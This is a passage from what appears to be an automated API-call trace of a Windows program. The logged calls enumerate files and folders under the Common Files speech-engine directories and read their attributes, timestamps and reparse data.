ftCreationTime.dwLowDateTime=0x892529fc, ftCreationTime.dwHighDateTime=0x1c9ea12, ftLastAccessTime.dwLowDateTime=0x892529fc, ftLastAccessTime.dwHighDateTime=0x1c9ea12, ftLastWriteTime.dwLowDateTime=0x892529fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0087.529] GetLastError () returned 0x12 [0087.529] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0087.529] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0087.529] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.529] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892529fc, ftCreationTime.dwHighDateTime=0x1c9ea12, ftLastAccessTime.dwLowDateTime=0x892529fc, ftLastAccessTime.dwHighDateTime=0x1c9ea12, ftLastWriteTime.dwLowDateTime=0x892529fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0087.529] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892529fc, ftCreationTime.dwHighDateTime=0x1c9ea12, ftLastAccessTime.dwLowDateTime=0x892529fc, ftLastAccessTime.dwHighDateTime=0x1c9ea12, ftLastWriteTime.dwLowDateTime=0x892529fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0087.529] GetLastError () returned 0x12 [0087.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.529] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0087.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.530] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="")) returned 1 [0087.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.530] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines" (normalized: "c:\\program files (x86)\\common files\\speechengines"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.530] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines" (normalized: "c:\\program files (x86)\\common files\\speechengines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0087.531] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0087.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.531] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0087.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.531] NtClose (Handle=0x178) returned 0x0 [0087.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0087.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.532] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0087.532] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.532] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0087.532] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0087.532] GetLastError () returned 0x12 [0087.532] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0087.533] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0087.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.533] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0087.533] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.534] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.534] NtClose (Handle=0x178) returned 0x0 [0087.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.535] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0087.535] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.535] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0087.535] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0087.535] GetLastError () returned 0x12 [0087.535] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0087.535] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.535] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.535] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0087.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305518 [0087.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.537] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0087.537] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.537] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.537] NtClose (Handle=0x178) returned 0x0 [0087.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305518) returned 1 [0087.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305518 [0087.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305620 [0087.539] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0087.539] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.539] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.539] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7523740, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7523740, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f416c90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0087.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.540] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7b630d6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7b630d6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f4f9d60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSDecWrp.dll", cAlternateFileName="")) returned 1 [0087.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.542] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf80be232, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf80be232, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f6c4d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0087.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.543] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf9b217, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xfaf9b217, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0087.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.544] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf9b217, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xfaf9b217, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0087.544] GetLastError () returned 0x12 [0087.545] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.545] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.545] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.545] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305728 [0087.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305938 [0087.545] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.547] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0087.547] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 